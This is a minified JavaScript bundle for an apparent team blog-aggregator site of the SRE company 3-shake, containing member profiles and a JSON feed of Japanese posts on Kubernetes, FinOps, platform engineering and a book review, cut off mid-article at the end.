Engineer",avatarSrc:"/avatars/bells17.jpeg",sources:["https://zenn.dev/bells17/feed","https://medium.com/feed/@bells17","https://speakerdeck.com/bells17.rss"],includeUrlRegex:"",twitterUsername:"bells17_",githubUsername:"bells17",websiteUrl:"https://bells17.io/"},{id:"yokoo-an209",name:"Annosuke Yokoo",role:"SRE",bio:"Buchiagemasu!",avatarSrc:"/avatars/yokoo.jpeg",sources:["https://qiita.com/yokoo-an209/feed","https://zenn.dev/yokoo_an209/feed","https://speakerdeck.com/parupappa2929.rss"],includeUrlRegex:"",twitterUsername:"866mfs",githubUsername:"parupappa",websiteUrl:""},{id:"hide-1",name:"Shuichi Inoue",role:"long-term internship student",bio:"I want to become a strong engineer :)",avatarSrc:"/avatars/hide-1.jpg",sources:["https://sreake.com/blog/config-connectortest/feed","https://sreake.com/blog/kubernetes-operation-with-chatgpt/feed","https://sreake.com/blog/kubernetes-operation-with-chatgpt4/feed","https://sreake.com/blog/chatgpt-slack-integration/feed"],includeUrlRegex:"",twitterUsername:"19MU50",githubUsername:"hide-1",websiteUrl:""},{id:"yuu0w0yuu",name:"Yutaro Shirayama",role:"SRE",bio:"( ˘ω˘ )",avatarSrc:"/avatars/shirayama.jpg",sources:["https://zenn.dev/yuu0w0yuu/feed"],includeUrlRegex:"",twitterUsername:"yuu0w0yuu",githubUsername:"yuu0w0yuu",websiteUrl:""},{id:"gawingowin",name:"Araki Shogo",role:"long-term internship student",bio:"born 2 be engineer",avatarSrc:"/avatars/araki-icon.jpg",sources:[],includeUrlRegex:"",twitterUsername:"GawinGowin",githubUsername:"GawinGowin",websiteUrl:""},{id:"nomadblacky",name:"Takumi Kadowaki",role:"Software Engineer @ Reckoner",bio:"Scala / Observability",avatarSrc:"/avatars/nomadblacky.jpg",sources:["https://zenn.dev/nomadblacky/feed"],includeUrlRegex:"",twitterUsername:"nomadblacky",githubUsername:"NomadBlacky",websiteUrl:""},{id:"kobuchi",name:"Shu Kobuchi",role:"Software Developer",bio:"mammalian",avatarSrc:"/avatars/kobuchi.jpeg",sources:["https://shu-kob.hateblo.jp/feed","https://speakerdeck.com/shukob.rss"],includeUrlRegex:"",twitterUsername:"shu_kob",githubUsername:"shu-kob",websiteUrl:""},{id:"kojake_300",name:"Yuki Iwasaki",role:"SRE",bio:"Splatoon",avatarSrc:"/avatars/yuki_iwasaki.png",sources:["https://qiita.com/kojake_300/feed","https://zenn.dev/kojake_300/feed","https://speakerdeck.com/kojake_300.rss"],includeUrlRegex:"",twitterUsername:"kojake_300",githubUsername:"",websiteUrl:""},{id:"kurita",name:"Kurita Keigo",role:"long-term internship student",bio:"I want to enginner the reliablity of the site",avatarSrc:"/avatars/kurita.jpg",sources:["https://kechigon.hatenablog.com/feed"],includeUrlRegex:"",twitterUsername:"kechigongon",githubUsername:"kechigon",websiteUrl:"https://www.wantedly.com/id/keigo_kurita_e"},{id:"kaita-nakamura",name:"Kaita Nakamura",role:"SRE",bio:"kaita",avatarSrc:"/avatars/kaitanakamura.jpg",sources:["https://zenn.dev/z63d/feed"],includeUrlRegex:"",twitterUsername:"z63d_",githubUsername:"z63d",websiteUrl:""},{id:"komiyama5380",name:"MASARU Komiyama",role:"PMO",bio:"SRE!!!",avatarSrc:"/avatars/komiyama5380.jpg",sources:["https://zenn.dev/komiyama/feed"],includeUrlRegex:"",twitterUsername:"",githubUsername:"komiyama5380",websiteUrl:""},{id:"moz-sec",name:"Kobayashi Shun",role:"long-term internship student",bio:"I am a graduate student in Kyoto",avatarSrc:"/avatars/kobayashi.png",sources:["https://moz-security.hatenablog.com/feed","https://zenn.dev/moz_sec/feed","https://speakerdeck.com/moz_sec_.rss"],includeUrlRegex:"",twitterUsername:"moz_sec_",githubUsername:"moz-sec",websiteUrl:"https://moz-sec.com/"},{id:"melanmeg",name:"Naoya Yamamoto",role:"SRE",bio:"konpeko~",avatarSrc:"/avatars/melanmeg.png",sources:["https://zenn.dev/melanmeg/feed","https://speakerdeck.com/melanmeg.rss"],includeUrlRegex:"",twitterUsername:"melanmeg",githubUsername:"melanmeg",websiteUrl:"https://lit.link/melanmeg"},{id:"atusy",name:"Atsushi Yasumoto",role:"Software Developer",bio:"loves programming",avatarSrc:"/avatars/atusy.jpg",sources:["https://blog.atusy.net/index.xml"],includeUrlRegex:"",twitterUsername:"Atsushi776",githubUsername:"atusy",websiteUrl:"https://blog.atusy.net/"}].sort((e,t)=>e.id{let{path:t,title:o,description:i,ogImageUrl:s,noindex:l,removeSiteNameFromTitle:c}=e,u="".concat(n.v.siteRoot).concat(t||"");return(0,a.jsxs)(r(),{children:[(0,a.jsx)("title",{children:c?o:"".concat(o," | ").concat(n.v.siteMeta.title)}),(0,a.jsx)("meta",{property:"og:title",content:o}),(0,a.jsx)("meta",{property:"og:url",content:u}),(0,a.jsx)("meta",{name:"twitter:card",content:"summary_large_image"}),(0,a.jsx)("meta",{property:"og:site",content:n.v.siteMeta.title}),(0,a.jsx)("meta",{property:"og:image",content:s||"".concat(n.v.siteRoot,"/og.png")}),!!i&&(0,a.jsxs)(a.Fragment,{children:[(0,a.jsx)("meta",{name:"description",content:i}),(0,a.jsx)("meta",{property:"og:description",content:i})]}),t&&(0,a.jsx)("link",{rel:"canonical",href:u}),l&&(0,a.jsx)("meta",{name:"robots",content:"noindex"})]})}},518:function(e,t,o){o.d(t,{ci:function(){return r},gO:function(){return n},gb:function(){return s},n4:function(){return i}});var a=o(1807);function i(e){return a.T.find(t=>t.id===e)}function r(e){let t=new URL(e);return(null==t?void 0:t.hostname)||"blog"}function n(e){return"https://www.google.com/s2/favicons?domain=".concat(e)}function s(e){return"/members/".concat(encodeURIComponent(e))}o(8928)},8928:function(e){e.exports=JSON.parse('[{"title":"スリーシェイク、「SRE総合支援コンサルティングサービス」および「Datadog導入支援サービス」を AWS Marketplace で提供開始","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)が提供する「SRE総合支援コンサルティングサービス」および「DataDog導入支援サービス」を AWS Marketplace で提供開始したことをお知らせします。The post スリーシェイク、「SRE総合支援コンサルティングサービス」および「Datadog導入支援サービス」を AWS Marketplace で提供開始 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/datadog_aws-marketplace/","isoDate":"2024-11-05T02:34:26.000Z","dateMiliSeconds":1730774066000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Generative AI Summit Tokyo ’24 Fallに参加しました","contentSnippet":"Sreake事業部インターン生の荒木です。先日Generative AI Summit Tokyo ’24 Fallに参加してまいりました!本イベントで得られた知見や、セッションの様子などを紹介します。 内容 […]The post Generative AI Summit Tokyo ’24 Fallに参加しました first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/generative-ai-summit-tokyo-24-fall-2/","isoDate":"2024-11-05T01:02:35.000Z","dateMiliSeconds":1730768555000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Kubernetes Pod で Wasm と Linux コンテナを並行して実行する","contentSnippet":"!雑なメモ、誤情報に注意 概要KubeCon + CloudNativeCon North America 2024 の Running WebAssembly (Wasm) Workloads Side-by-Side with Container Workloads が気になったので事前に少し調べたメモ。runwasi は Sidecar パターンを拡張します。Pod で軽量な Wasm を Linux コンテナの Sidecar として実行するメリットが色々あります。という話だと思う。 runwasishim を開発するライブラリ、shim プロセスをつくるものと...","link":"https://zenn.dev/z63d/articles/cccf07c5a36ab3","isoDate":"2024-11-03T03:34:49.000Z","dateMiliSeconds":1730604889000,"authorName":"Kaita Nakamura","authorId":"kaita-nakamura"},{"title":"FinOpsとは 〜クラウドネイティブ・SRE・CCoEの導入によるFinOpsの実践〜","contentSnippet":"目次 はじめに FinOpsとは クラウド利用コストに関する課題 Finopsの実現に必要なこと、導入方法 FinOpsの取り組み例 結論 1. はじめに 現在、さまざまな業界の多種多様なシステムにおいて、クラウドサービ […]The post FinOpsとは 〜クラウドネイティブ・SRE・CCoEの導入によるFinOpsの実践〜 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/finops%e3%81%a8%e3%81%af/","isoDate":"2024-11-01T04:08:54.000Z","dateMiliSeconds":1730434134000,"authorName":"Sreake","authorId":"Sreake"},{"title":"クラウドネイティブとは 〜新時代を切り拓くためのCCoE・SRE導入と実践〜","contentSnippet":"目次 はじめに クラウドネイティブとは何か クラウドネイティブが、システム開発や運用にもたらすメリット クラウドネイティブなシステムを構築、運用するためのポイントや始め方 代表的なクラウドネイティブ技術 クラウドネイティ […]The post クラウドネイティブとは 〜新時代を切り拓くためのCCoE・SRE導入と実践〜 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/%e3%82%af%e3%83%a9%e3%82%a6%e3%83%89%e3%83%8d%e3%82%a4%e3%83%86%e3%82%a3%e3%83%96%e3%81%a8%e3%81%af/","isoDate":"2024-11-01T04:08:34.000Z","dateMiliSeconds":1730434114000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Platform Engineeringとは 〜SRE導入で目指す開発者体験の革新〜","contentSnippet":"目次 はじめに Platform Engineeringとは何か Platform Engineeringがもたらすメリット Platform Engineeringを始める時のポイント 代表的なPlatform Eng […]The post Platform Engineeringとは 〜SRE導入で目指す開発者体験の革新〜 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/platform-engineering/","isoDate":"2024-11-01T04:08:14.000Z","dateMiliSeconds":1730434094000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Nixで最新のR環境を構築できなくてしんどい","contentSnippet":"先日、nix-shellでRを使うという記事を書きましたが、Nixで入れたRをふだん使いするのはしんどいな……と感じています。いかんせん、R本体もパッケージも最新のものを使えない現状があります。nix本家が対応に困ってる2024-11-01時点で最新のRは4.4.2ですが、nixで利用可能なRは4.4.1で止まっています。どうにも、パッケージの依存関係の都合で更新したくてもできない状況になっているようです。","link":"https://blog.atusy.net/2024/11/01/nix-r-is-tough/","isoDate":"2024-11-01T00:00:00.000Z","dateMiliSeconds":1730419200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"【CloudNative Entry】入社課題で学んだことTips","contentSnippet":"はじめに10月から 3-shake に入社した melanmeg です。入社時課題が始まって、 やったこと・わかったこと をここに整理してみました!!内容は「クラウドネイティブのエントリーレベルのスキルを身に着ける」といったものになります前職ではAWS・Azureを触っていたため、今回Google Cloudで課題を進めることにしました。今まで触ってこなかったのでクラウドごとの特徴を知れる良い学びになりました。早速、整理したことを紹介していきます。 課題一言でいうと、『クラウドネイティブのエントリーレベルのスキルを身に着けるを目標の元、k8sクラスタ構築からwo...","link":"https://zenn.dev/melanmeg/articles/f52c5aaa895523","isoDate":"2024-10-31T15:03:05.000Z","dateMiliSeconds":1730386985000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"Kubernetes Gateway API 入門","contentSnippet":"ちょうど1年前にGAとなったKubernetesのGateway APIを触る機会がなかったので、個人的に理解を深めるようと思います。https://kubernetes.io/blog/2023/10/31/gateway-api-ga/ Gateway API とは?L4とL7ルーティングを担う次世代のKubernetes Ingress、Load Balancing、Service Mesh APIsです。汎用的で表現力があり役割が分離できるように設計されています。役割指向Kubernetesのサービスネットワークの利用と設定を行う組織の役割を表現したAPIリソースに...","link":"https://zenn.dev/tayusa/articles/786e3c11e631fe","isoDate":"2024-10-31T02:57:25.000Z","dateMiliSeconds":1730343445000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"WebサイトやGitHubソースコードを処理 (ハンズオン)","contentSnippet":"#7 WebサイトやGitHubソースコードを処理 (ハンズオン)【オンライン】 - connpassgenai-users.connpass.com勉強会の資料です。Google Cloudでクレデンシャルを取得IAMと管理 > サービスアカウント↓こちらの記事を参考shu-kob.hateblo.jp環境変数にセット以下はMacで、.zprofileの場合export GOOGLE_APPLICATION_CREDENTIALS=\\"/path/PROJECT_ID-XXXXXXXXXX.json\\"source ~/.zprofileソースコードを取得github.comgit clone https://github.com/shu-kob/genai-web-github-loadercd genai-web-github-loadernpm iWebページを読んで要約loadWebPages.tsで、プロジェクトIDの書き換えconst project = \'PROJECT_ID\' // 書き換える実行npx tsx loadWebPages.ts https://www.raumen.co.jp/rapedia/study_history/ソースコードの読み込んで仕様書を作成loadGitHubでプロジェクトIDの書き換えconst project = \'PROJECT_ID\' // 書き換える実行npx tsx loadGitHub.ts https://github.com/shu-kob/genai-web-github-loader","link":"https://shu-kob.hateblo.jp/entry/2024/10/29/190456","isoDate":"2024-10-29T10:04:56.000Z","dateMiliSeconds":1730196296000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Cilium Node IPAM LBによるロードバランシング","contentSnippet":"目次 はじめに Ciliumのロードバランシング方法 Node IPAM LB 検証 環境構築 Serviceの作成 externalTrafficPolicy ノードの制限 実装 まとめ 参照 はじめに Sreake事 […]The post Cilium Node IPAM LBによるロードバランシング first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cilium-node-ipam-lb-load-balancing/","isoDate":"2024-10-28T05:08:45.000Z","dateMiliSeconds":1730092125000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Rでログを出力する(loggerパッケージ)","contentSnippet":"先日「Rでndjson形式のログを解析する]」の記事を書いた流れで、そういえばRでログを出力する方法を知らないな思ったので調べてみました。Rでログを扱うパッケージはいくつかありますが、開発が盛んなのはloggerパッケージのようです。最近(2024年8月がごろ)はHadleyも開発に入っているので、安心感がありますね。loggerパッケージのWebサイトには、類似パッケージの紹介もあるので、他を見当したい場合も、まずはここを見てみるとよいでしょう。","link":"https://blog.atusy.net/2024/10/25/r-logger/","isoDate":"2024-10-25T00:00:00.000Z","dateMiliSeconds":1729814400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"技術がなければ作れない、必要がなければ存在している資格がない - Platform Engineering: A Guide for Technical, Product, and People Leaders の読書感想文","contentSnippet":"我に似せる者は生き、我を象る者は死す(本質を理解して創造的に学ぶ者は発展し、表面的な模倣に留まる者は衰退する)。はじめに「Platform Engineering: A Guide for Technical, Product, and People Leaders」は、現場での実践知を出発点として、プラットフォームエンジニアリングの本質に迫る実践的なガイドとして、技術リーダーから上級管理職まで向けた幅広い読者層に向けて書かれています。個人的にはもう少しだけ広げて開発者やプラットフォームを実際に使う側も読んでも学びのある本だと思いました。著者のCamilleとIanの豊富な経験が凝縮された本書は、単なる表面的な手法の模倣ではなく、実際の現場での試行錯誤から導き出されたプラクティス、そしてその背後にある根本的な原理と思想を探求し、それが現代のソフトウェア開発組織においていかに革新的な価値を生み出すかを浮き彫りにしています。本書の真価は、プラットフォームエンジニアリングを単なる技術的な手法の集合としてではなく、日々の実践から得られた知見を体系化し、組織の進化と持続的な成長を促す戦略的な思考基盤として捉えている点にあります。技術的な実装の詳細よりも、組織が現場の文脈に根ざした実践を重ね、そこからプラクティスを抽出し、最終的にプラットフォームエンジニアリングの本質的な原則を理解して創造的に応用していく方法論に重点が置かれています。これは、現代のソフトウェア開発組織が直面する複雑性の管理と開発者体験の向上という課題に対する、本質的かつ持続可能な解決の道筋を示すものとなっています。Platform Engineering: A Guide for Technical, Product, and People Leaders (English Edition)作者:Fournier, Camille,Nowland, IanO\'Reilly MediaAmazonプラットフォームエンジニアリングの重要性プラットフォームエンジニアリングは、複雑なソフトウェア環境でのイノベーションを促進する開発者体験の向上に不可欠な鍵となり、クラウドへの移行だけでは解決できない問題に対処するための重要な基盤を提供しています。さらに、組織の成長に伴うスケーラビリティの要求とセキュリティニーズの両方に対応する重要な役割を果たすことで、現代のソフトウェア開発組織にとって極めて重要な存在となっています。learning.oreilly.com本書が組織的・戦略的側面に焦点を当てているのに対し、より技術的な側面、特にCloud Nativeな実装に興味がある方には、「Platform Engineering on Kubernetes」がおすすめです。こちらの書籍では、Kubernetesを基盤としたプラットフォームエンジニアリングの実践的なアプローチが詳細に解説されています。syu-m-5151.hatenablog.com両書を併読することで、プラットフォームエンジニアリングの組織的側面と技術的側面の両方を深く理解することができ、より包括的な知識を得ることができるでしょう。本書の構成と特徴本書は現場での実践を起点としながら、プラットフォームエンジニアリングを組織的、戦略的に展開するためのガイドとして構成されており、著者たちが数々の現場で直面した課題と、そこから得られた具体的で実行可能な知見を提供しています。特筆すべきは、個々の技術的解決策にとどまらず、チーム構成や製品管理、ステークホルダーマネジメントなど、現場で真に重要となる組織的側面にも焦点を当てている点で、日々の実践に携わる技術リーダーからCTOやSVPなどの組織の舵取りを担う上級管理職までを想定した実践的な内容となっています。最後に、これら3つのパートは、現場での実践から抽出された原則(Part I)、その原則に基づく具体的なプラクティス(Part II)、そしてそれらの効果を測定・評価する方法(Part III)という、現場起点の論理的な流れを形成しています。特に、第3部で提示される成功の定義は、第1部で説明される現場から導き出された原則と、第2部で示される実践的なアプローチを有機的に結びつける重要な役割を果たしています。本書は、プラットフォームエンジニアリングの現場で直面する本質的な難しさを率直に語っています。具体的には、「技術的に面白いから作る」のではなく現場で真に必要とされるものを見極めて提供するという価値提供の本質、計画の難しさを認識しつつも現場の文脈に応じて適切に実行するという実践知、そして組織の重要なシステムを支える責任を全うするための運用の成熟という現場力の醸成といった課題を挙げています。これらの課題に対して、本書は原則に基づきながらも現場の実態に即した解決の道筋を示しています。正しいものを正しくつくる プロダクトをつくるとはどういうことなのか、あるいはアジャイルのその先について作者:市谷 聡啓ビー・エヌ・エヌ新社AmazonPart I. Platform Engineeringの本質と意義第1部は、Platform Engineeringの根本的な「なぜ」と「何を」に焦点を当てています。Simon Sinekの「イノベーションは夢からではなく、苦闘から生まれる」という言葉に象徴されるように、本章では現代のソフトウェア開発が直面する複雑性と変化の課題に対して、Platform Engineeringがなぜ適切なアプローチなのかを解説しています。特に印象的なのは、Platform Engineeringの4つの柱(製品思考、ソフトウェアエンジニアリング、包括的アプローチ、運用効率)について、単なる理論的な枠組みではなく、実践的な基盤として提示している点です。私の経験でも、これらの要素のバランスを取ることが、プラットフォームチームの成功への鍵となっています。また、国内の参考資料として、jacopenさんの『「共通基盤」を超えよ! 今、Platform Engineeringに取り組むべき理由』がおすすめです。この記事を読むことで、本書の全体像がより明確に理解できるので一読してもらいたいです。 speakerdeck.comChapter 1. Why Platform Engineering Is Becoming Essential第1章「Why Platform Engineering Is Becoming Essential」は、プラットフォームエンジニアリングが現代のソフトウェア開発組織において不可欠となっている背景と理由について、包括的な視点から解説しています。著者は、過去25年間のソフトウェア組織が直面してきた共通の課題から説き起こし、クラウドコンピューティングとオープンソースソフトウェア(OSS)の台頭がもたらした複雑性の増大、そしてそれに対するプラットフォームエンジニアリングの解決アプローチを詳細に論じています。プラットフォームエンジニアリングの本質と定義著者は、プラットフォームを「自己サービス型のAPI、ツール、サービス、知識、サポートを、魅力的な内部プロダクトとして組み合わせた基盤」と定義しています。この定義は、単なる技術的な基盤以上のものを示唆しており、プラットフォームが組織全体に提供する価値を包括的に捉えています。他にもCNCFが公開している「CNCF Platforms White Paper」では、Platformsについて「クラウドネイティブコンピューティングのためのプラットフォームは、プラットフォームのユーザーのニーズに応じて定義・提示される統合された機能のコレクションです。幅広いアプリケーションやユースケースに対して、一般的な機能やサービスを取得・統合するための一貫した体験を確保するクロスカッティングなレイヤーです。優れたプラットフォームは、Webポータル、プロジェクトテンプレート、セルフサービスAPIなど、その機能やサービスの利用と管理に一貫したユーザー体験を提供します」と定義しています。tag-app-delivery.cncf.ioまた、プラットフォームエンジニアリングの成熟度を評価するための「Platform Engineering Maturity Model」も公開されていますので、ぜひ参考にしてください。tag-app-delivery.cncf.ioFigure 1-1. The over-general swamp, held together by glue より引用[Figure 1.1]では、「Over-General Swamp」の状態を示しており、多数のアプリケーションが個別のプリミティブと直接統合され、それらの間を大量のglueコードが繋いでいる様子が描かれています。この図は、プラットフォームが存在しない状態での複雑性の増大を視覚的に表現しています。あるプログラムで、異なるシステムやコンポーネントを連携させるために書かれる仲介的なコードのことです。このコードは、システムの本来の機能には直接関係しませんが、互換性のない部品同士をスムーズに連携させるために必要な「接着剤」のような役割を果たします。これを『グルーコード』と言います。ja.wikipedia.org特に印象的なのは、著者がプラットフォームエンジニアリングを複雑性を管理しながらビジネスへのレバレッジを提供するという明確な目的を持った規律として位置づけている点です。私の経験でも、単なる技術的な基盤提供を超えて、開発者の生産性向上とビジネス価値の創出を同時に実現することが、プラットフォームエンジニアリングの成功の鍵となっています。現代のソフトウェア開発における「Over-General Swamp」の問題Figure 1-2. How platforms reduce the amount of glue より引用[Figure 1.2]は、プラットフォームエンジニアリングによる解決後の状態を示しています。この図では、プラットフォームが複数のプリミティブを抽象化し、アプリケーションとの間にクリーンなインターフェースを提供している様子が描かれています。glueコードが大幅に削減され、システム全体の見通しが改善されていることが分かります。著者は現代のソフトウェア開発環境を「Over-General Swamp(過度に一般化された沼)」と表現し、この比喩を通じて複雑性の罠を見事に描き出しています。クラウドとOSSの普及により、開発者は豊富な選択肢を手に入れましたが、それは同時に「接着剤(glue)」と呼ばれる統合コードやカスタム自動化の増加をもたらしました。プラットフォームエンジニアリングによる解決アプローチ著者が提示するプラットフォームエンジニアリングの解決策は、製品としてのアプローチを重視しています。これは、ユーザー中心の視点を持ちながら、機能の取捨選択を慎重に行い、全体としての一貫性と使いやすさを追求することを意味します。Appleの製品開発アプローチを例に挙げながら、著者は機能の追加だけでなく、むしろ何を含めないかの判断の重要性を強調しています。INSPIRED 熱狂させる製品を生み出すプロダクトマネジメント作者:マーティ・ケーガン,佐藤真治,関満徳日本能率協会マネジメントセンターAmazon技術的な側面では、プラットフォームエンジニアリングは複雑性を管理可能なレベルに抑えることを目指します。例えば、インフラストラクチャの分野では、Terraformの例を用いて、個々のチームが独自にインフラストラクチャを管理する場合の問題点と、プラットフォームによる抽象化がもたらす利点が説明されています。DXを成功に導くクラウド活用推進ガイド CCoEベストプラクティス作者:黒須 義一,酒井 真弓,遠山 陽介,伊藤 利樹,饒村 吉晴日経BPAmazonプラットフォームチームの役割とイノベーション著者は、プラットフォームチームの役割について、従来のインフラストラクチャ、DevTools、DevOps、SREの各アプローチとの違いを明確に示しています。これらの従来のアプローチは、それぞれの専門分野に特化していますが、プラットフォームエンジニアリングはこれらの境界を越えて、より包括的な価値を提供することを目指します。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon特筆すべきは、著者がイノベーションとプラットフォームの関係について、現実的な見解を示している点です。プラットフォームは既存の技術スタック内でのビジネスイノベーションを促進する一方で、プラットフォームの範囲を超えた革新的な取り組みも必要だと認めています。例えば、データ領域での新しい技術の採用など、プラットフォームの制約を一時的に超えることが必要な場合もあると指摘しています。章全体からの学び第1章は、プラットフォームエンジニアリングが現代のソフトウェア開発組織にとって不可欠な理由を説得力のある形で提示しています。複雑性の増大、運用負荷の増加、イノベーションの必要性といった課題に対して、プラットフォームエンジニアリングは包括的な解決策を提供します。著者は、プラットフォームエンジニアリングが単なる技術的な取り組みではなく、組織全体の成功に関わる戦略的な施策であることを強調しています。これは、私の実務経験とも強く共鳴する見解です。プラットフォームエンジニアリングの成功には、技術的な卓越性だけでなく、組織的な変革とイノベーションのバランスを取ることが求められます。今後のソフトウェア開発組織にとって、プラットフォームエンジニアリングの導入は避けて通れない課題となるでしょう。本章は、その理由と意義を深く理解するための優れた導入を提供しています。特に、プラットフォームエンジニアリングが組織にもたらす具体的な価値と、その実現に向けた実践的なアプローチについての示唆は、多くの組織にとって有用な指針となるはずです。特に注目すべきは、プラットフォームを「製品」として扱うアプローチや、ステークホルダーマネジメントの重要性など、技術面だけでなく組織的な側面にも焦点を当てている点です。これらの知見は、プラットフォームエンジニアリングの実践において大きな価値をもたらすと考えられます。プラットフォームエンジニアリングリーダーとして、本書から学んだ知識を自身のチームや組織に適用し、より効果的なプラットフォーム戦略を構築していくことが重要です。また、本書が提起する課題や解決策について、同僚や業界のピアとのディスカッションを通じて、さらなる洞察を得ることができるでしょう。このような実践と対話を通じて、プラットフォームエンジニアリングの分野がさらに発展していくことが期待されます。「翻訳記事 -「インフラ基盤部門は本当に必要か」に関する議論」なんかもとても良い記事なので読んでほしいです。ca-srg.devChapter 2. The Pillars of Platform Engineering第2章「The Pillars of Platform Engineering」は、プラットフォームエンジニアリングの4つの重要な柱について詳細に解説しています。著者は、Product(製品としてのアプローチ)、Development(ソフトウェアベースの抽象化)、Breadth(幅広い開発者への対応)、Operations(基盤としての運用)という4つの柱を通じて、効果的なプラットフォームエンジニアリングの実践方法を示しています。これらの柱は相互に補完し合い、成功するプラットフォームエンジニアリングの基礎を形成しています。キュレートされた製品アプローチの重要性プラットフォームエンジニアリングにおける最初の柱は、キュレートされた製品アプローチです。このアプローチは、単なる技術的な実装を超えて、ユーザーのニーズを中心に据えた戦略的な製品開発を意味します。著者は、これを「paved paths(舗装された道)」と「railways(鉄道)」という2つの異なるタイプのプラットフォーム製品として説明しています。Paved Pathsは、複数のオファリングを統合した使いやすいワークフローを提供し、アプリケーションチームから複雑性を隠蔽しながら、パレート原理に基づいて20%のユースケースで80%のニーズをカバーすることを目指す標準的なアプローチを提供します。Figure 2-1. Architecture of a paved path platform より引用[Figure 2.1]は「paved path」の概念を視覚的に表現しており、複数のオファリングを使いやすいワークフローとして統合し、アプリケーションチームから複雑性を隠蔽する方法を示しています。これは共通のニーズに対応するための標準的なアプローチを提供することを目的としており、著者が提唱する製品としてのプラットフォームの本質を端的に表現しています。Railwaysは、既存製品では対応できない特定ニーズに応え、組織全体に特定の機能を提供するための重要なインフラストラクチャ投資を伴い、プロトタイプから進化してスケーラブルなソリューションを提供する新しい形態のプラットフォームです。Figure 2-2. Architecture of a railway platform より引用[Figure 2.2]は「railway」型プラットフォームを示しており、既存の製品では対応できない特定のニーズに応える新しい形態のプラットフォームを表現しています。具体例として、バッチジョブプラットフォーム、通知システム、グローバルアプリケーション設定プラットフォーム、データ処理パイプライン、監視・モニタリングプラットフォームなどが挙げられます。プラットフォームを製品として捉えることは、単なる技術的な選択以上の意味を持ちます。ユーザー中心のデザインを通じて一貫性のある使いやすいインターフェースを提供し、明確なドキュメンテーションと効果的なオンボーディング体験を実現することが重要です。また、必要な機能の追加と不要機能の大胆な削除を行いながら、機能の優先順位付けを適切に管理し、継続的な改善サイクルを通じてユーザーフィードバックを収集・分析し、パフォーマンス指標の測定と定期的な機能の見直しを行うことが求められます。ソフトウェアベースの抽象化の実現著者は、「ソフトウェアを構築していないなら、それはプラットフォームエンジニアリングではない」と明確に述べています。この主張は、プラットフォームエンジニアリングの本質を理解する上で極めて重要です。効果的な抽象化を実現するためには、適切な粒度での機能分割、一貫性のあるインターフェース、バージョニング戦略、エラーハンドリングなどのAPI設計の原則に加えて、スケーラビリティ、パフォーマンス、セキュリティ、監視可能性などの実装上の考慮事項も重要となります。幅広い開発者ベースへのサービス提供プラットフォームの対象は幅広い開発者ベースであり、セルフサービス機能、ユーザー観測性、ガードレール、マルチテナンシーが重要な要素となります。これらは直感的なユーザーインターフェースとAPI駆動の自動化による効率的なワークフロー、詳細なログ記録とパフォーマンスメトリクス、セキュリティ制御とリソース制限、そしてリソースの分離とアクセス制御を実現します。GenerativeAIの影響と展望著者は、GenerativeAIがプラットフォームエンジニアリングに与える影響について、MLOpsの進化、ツールチェーンの整備、インフラストラクチャの効率化、データガバナンス、LLMエコシステムの観点から包括的な分析を提供しています。これには、モデル開発ライフサイクル管理とデプロイメント自動化、研究者向けインターフェースと非技術者向け操作性、コンピュートリソースとストレージの最適化、プライバシー保護とコンプライアンス対応、そしてモデル選択と統合が含まれます。基盤としての運用プラットフォームが組織の基盤として機能するためには、プラットフォームへの責任、プラットフォームのサポート、運用規律という3つの要素が不可欠です。これらは、エンドツーエンドの管理と問題解決の主導、ユーザーサポート体制とドキュメンテーションの充実、そして標準化されたプロセスと品質管理を通じて実現されます。章全体からの学び第2章は、プラットフォームエンジニアリングの4つの柱を通じて、成功するプラットフォームの要件を明確に示しています。技術的な卓越性、組織的な変革、イノベーション、継続的な進化が、プラットフォームエンジニアリングの成功には不可欠です。これらは最新技術の適用とパフォーマンスの最適化、チーム構造の最適化とスキル開発、新技術の評価と導入、そしてフィードバックの収集と反映を通じて実現されます。これらの要素は相互に関連し、バランスの取れた実装が必要となります。プラットフォームエンジニアリングは継続的な取り組みであり、技術的な側面だけでなく、組織的な支援と文化の醸成を通じて常に進化し続ける必要があります。Part II. Platform Engineering Practices第2部は、C.S.Lewisの「卵が鳥になるのは難しいかもしれないが、卵のままで飛ぶ方がよほど難しい」という言葉から始まり、プラットフォームエンジニアリングの実践的な側面に焦点を当てています。著者は8つの主要な失敗パターンを特定し、それぞれに対する具体的な解決策を提示しています。特に重要なのは、プラットフォームエンジニアリングが単なるインフラストラクチャエンジニアリングやDevOpsの再ブランディングではないという指摘です。私のチームでも、適切なタイミングでの開始、適切な人材ミックス、製品思考の導入、効果的な運用という要素が、成功への重要な要因となっています。Chapter 3. How and When to Get Started第3章「How and When to Get Started」は、プラットフォームエンジニアリングの導入時期と方法について、組織の成熟度や規模に応じた具体的なアプローチを提供しています。著者は、三つの主要な状況に焦点を当て、各シナリオにおける成功への道筋を示しています。小規模組織でのプラットフォーム協力の育成著者は小規模スタートアップにおけるプラットフォームエンジニアリングのアプローチを、成熟度モデルを用いて説明しています。特に注目すべきは、アドホック段階とやや管理された段階という2つのフェーズの定義です。この文脈で参考になるのが、CNCF Platform Engineering Maturity 